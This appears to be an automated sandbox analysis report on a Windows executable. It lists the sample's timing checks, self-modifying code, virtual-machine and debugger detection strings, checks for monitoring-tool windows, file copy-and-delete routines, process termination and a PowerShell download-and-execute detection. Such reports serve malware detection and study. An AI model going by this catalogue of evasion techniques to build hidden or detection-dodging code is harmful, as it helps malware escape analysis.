Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF194 second address: 9FF1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45C7h 0x00000009 jng 00007F9FD0EA45B6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F9FD0EA45B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF1C1 second address: 9FF1D3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9FD0CB38B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F9FD0CB38B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B474 second address: A0B486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F9FD0EA45BEh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B486 second address: A0B48F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D6A1 second address: A0D6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45C2h 0x00000009 jmp 00007F9FD0EA45C3h 0x0000000e popad 0x0000000f jmp 00007F9FD0EA45C0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D6DB second address: A0D700 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9FD0CB38D0h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FA6F second address: A0FA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15797 second address: A157A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F9FD0CB38B8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157A7 second address: A157CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F9FD0EA45BEh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1590F second address: A15913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15913 second address: A1591D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15BE1 second address: A15BE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15D79 second address: A15D9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F9FD0EA45BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15D9A second address: A15DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jg 00007F9FD0CB38B6h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15DA9 second address: A15DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15DAF second address: A15DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15DBA second address: A15DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160C0 second address: A160CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160CB second address: A160DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A160DE second address: A160F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1966E second address: A19673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 935E40 second address: 935E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24178 second address: A2417C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2417C second address: A24196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9FD0CB38C0h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24196 second address: A2419A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2419A second address: A241A4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9FD0CB38B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A241A4 second address: A241C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A241C2 second address: A241C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27CAC second address: A27CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27CB2 second address: A27CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38C33 second address: A38C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9FD0EA45B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38C3F second address: A38C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F9FD0CB38B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A484E2 second address: A484E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A484E8 second address: A484EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49183 second address: A4918F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F9FD0EA45B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4918F second address: A49195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A492D7 second address: A492DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4AB6B second address: A4AB71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D8F3 second address: A4D8F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D8F9 second address: A4D903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D903 second address: A4D913 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45BCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A518BB second address: A518BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51B24 second address: A51B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51B2A second address: A51B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51B48 second address: A51B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51B4D second address: A51B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9FD0CB38B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51E1A second address: A51E8A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9FD0EA45C5h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F9FD0EA45B8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 sbb dx, 6F18h 0x0000002e jo 00007F9FD0EA45B8h 0x00000034 mov edx, eax 0x00000036 push dword ptr [ebp+122D3AACh] 0x0000003c mov edx, dword ptr [ebp+12453B8Ch] 0x00000042 mov edx, 12E15B63h 0x00000047 call 00007F9FD0EA45B9h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51E8A second address: A51E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51E90 second address: A51E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51E95 second address: A51ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007F9FD0CB38B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F9FD0CB38C9h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9FD0CB38BAh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51ECF second address: A51EE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51EE4 second address: A51F0F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9FD0CB38BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edx 0x0000000d jmp 00007F9FD0CB38BEh 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51F0F second address: A51F19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5380C second address: A53810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5524E second address: A5525B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jno 00007F9FD0EA45B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04DC second address: 52B04E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04E2 second address: 52B04E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B04E6 second address: 52B0508 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9FD0CB38C2h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0508 second address: 52B0525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0525 second address: 52B052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B052B second address: 52B058B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov dx, ax 0x00000011 call 00007F9FD0EA45C0h 0x00000016 pushfd 0x00000017 jmp 00007F9FD0EA45C2h 0x0000001c jmp 00007F9FD0EA45C5h 0x00000021 popfd 0x00000022 pop ecx 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B058B second address: 52B0595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 5937F4C5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0603 second address: 52B064F instructions: 0x00000000 rdtsc 0x00000002 mov esi, 0D7900E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 7623CA1Dh 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 jmp 00007F9FD0EA45C8h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dx, 88C0h 0x0000001e call 00007F9FD0EA45C9h 0x00000023 pop ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97093C second address: 97094F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9FD0CB38B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7CDBD9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7CDCB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 987E6F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 96C9FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9F0A4A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-37392

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004F40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_004EE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004E1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_004F47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004EF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004F4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004F3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004EDB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_004EBE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_004EEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004EDF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004E1160 GetSystemInfo,ExitProcess,

0_2_004E1160

Source: file.exe, file.exe, 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1845108606.0000000001483000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1845108606.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1845108606.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^a
Source: file.exe, 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36207
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36204
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36259
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36224
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36219
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-36093

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004E4610 VirtualProtect ?,00000004,00000100,00000000

0_2_004E4610

Source: C:\Users\user\Desktop\file.exe

0_2_004F9BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F9AA0 mov eax, dword ptr fs:[00000030h]

0_2_004F9AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F7690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_004F7690

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7140, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_004F9790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F98E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_004F98E0

Source: file.exe, file.exe, 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: lProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00527588 cpuid

0_2_00527588

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_004F7D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F7B10 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_004F7B10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F79E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_004F79E0

Source: C:\Users\user\Desktop\file.exe

